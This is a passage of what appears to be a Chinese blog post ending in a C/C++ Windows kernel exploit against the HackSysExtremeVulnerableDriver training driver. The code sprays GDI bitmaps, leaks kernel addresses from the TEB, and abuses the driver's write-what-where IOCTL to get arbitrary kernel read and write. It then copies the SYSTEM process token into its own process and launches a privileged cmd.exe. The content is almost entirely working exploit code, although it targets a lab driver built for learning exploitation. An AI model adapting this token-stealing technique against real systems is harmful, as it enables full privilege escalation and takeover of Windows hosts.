	HBITMAP *hbitmap = new HBITMAP[10];
	for (size_t i = 0; i < 4; i++)
	{
		hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);
	}
	DWORD64 teb = (DWORD64)NtCurrentTeb();
	//+0x078 Win32ThreadInfo  : 0xffff9fd4`806fbb10 Void
	DWORD64 pointer = *(PDWORD64)(teb + 0x78);
	DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
	ThreadInfoaddr += 0x16300000;
	printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);
	DWORD64 num;
	DeleteObject(hbitmap[1]);
	HBITMAP *bitmap = new HBITMAP[10000];
	for (size_t i = 0; i < 10000; i++) {
		//1067下为0x368
		bitmap[i] = CreateBitmap(0x364, 1, 1, 32, pBits);
		if (bitmap[i]==0)
		{
			num = i;
			break;
		}
	}


	HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		getchar();
		return(-1);
	}
	DWORD64 buf[2];
	buf[1] = ((ULONG64)ThreadInfoaddr + 0x50);
	printf("hManagerpvScan0=%llX\n", buf[1]);
	ULONG64 temp = ((ULONG64)ThreadInfoaddr + 0x50 + 0x1000);
	buf[0] = (ULONG64)&temp;
	printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
	LPDWORD dwBytesOut{};
	//修改结构体指针
	DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, dwBytesOut, NULL);


	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;
	TCHAR lpfileName[1024];
	PVOID64 UserBase;
	HMODULE nbase;
	ULONG64 address;
	ULONG64 PsInitialSystemProcess;
	//遍历模块
	EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
	//获取第一个模块地址
	GetDeviceDriverBaseName(lpImageBase[0], lpfileName, 48);
	UserBase = lpImageBase[0];
	nbase = LoadLibrary(L"ntoskrnl.exe");
	printf("UserBase=%llX\n", UserBase);
	address = (ULONG64)GetProcAddress(nbase, "PsInitialSystemProcess");
	//PsInitialSystemProcess 是一个指向system EPROCESS的指针
	PsInitialSystemProcess = ((ULONG64)address - (ULONG64)nbase + (ULONG64)UserBase);
	printf("PsInitialSystemProcess=%llX\n", PsInitialSystemProcess);

	LIST_ENTRY ActiveProcessLinks{};
	DWORD64 currentProcess;//当前进程eporcess
	ULONG64 UniqueProcessId;
	ULONG64 SystemProcess{};
	ULONG64 indexa = 1;
	ULONG64 indexb = 2;
	printf("num=%d\n",num);
	for (size_t i = 0; i < num; i++)
	{

		WriteMemory(bitmap[i], bitmap[i + 1], &indexa,
			(LPVOID)indexb, sizeof(LPVOID));
			if (indexa == 2)
			{
				indexa = i;
				indexb = i + 1;
				printf("indexa=%d indexb=%d\n", i, i+1);
				break;
			}
	}
	ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)PsInitialSystemProcess,
		&SystemProcess, sizeof(LPVOID));
	printf("SystemEProcess=%llX\n", SystemProcess);
	DWORD dwCurrentPID;
	//+0x2e8 ActiveProcessLinks : _LIST_ENTRY
	ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(SystemProcess + 0x2e8), &ActiveProcessLinks, sizeof(LIST_ENTRY));
	do
	{
		currentProcess = (DWORD64)((PUCHAR)ActiveProcessLinks.Flink - 0x2e8);
		ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(currentProcess + 0x2e0), &UniqueProcessId, sizeof(LPVOID));
		dwCurrentPID = LOWORD(UniqueProcessId);
		ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(currentProcess + 0x2e8), &ActiveProcessLinks, sizeof(LIST_ENTRY));
	} while (dwCurrentPID != GetCurrentProcessId());
	ULONG64 systemtoken{};
	//+0x358 Token            : _EX_FAST_REF
	printf("eProcessToken=%llX\n", currentProcess + 0x358);
	ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(SystemProcess + 0x358),
		&systemtoken, sizeof(LPVOID));
	printf("systemtoken=%llX\n", systemtoken);
	WriteMemory(bitmap[indexa], bitmap[indexb], (PVOID)(currentProcess + 0x358),
		(PVOID)systemtoken, sizeof(LPVOID));

	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);

	getchar();
	return 0;
}

利用成功 未完待续

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/107175425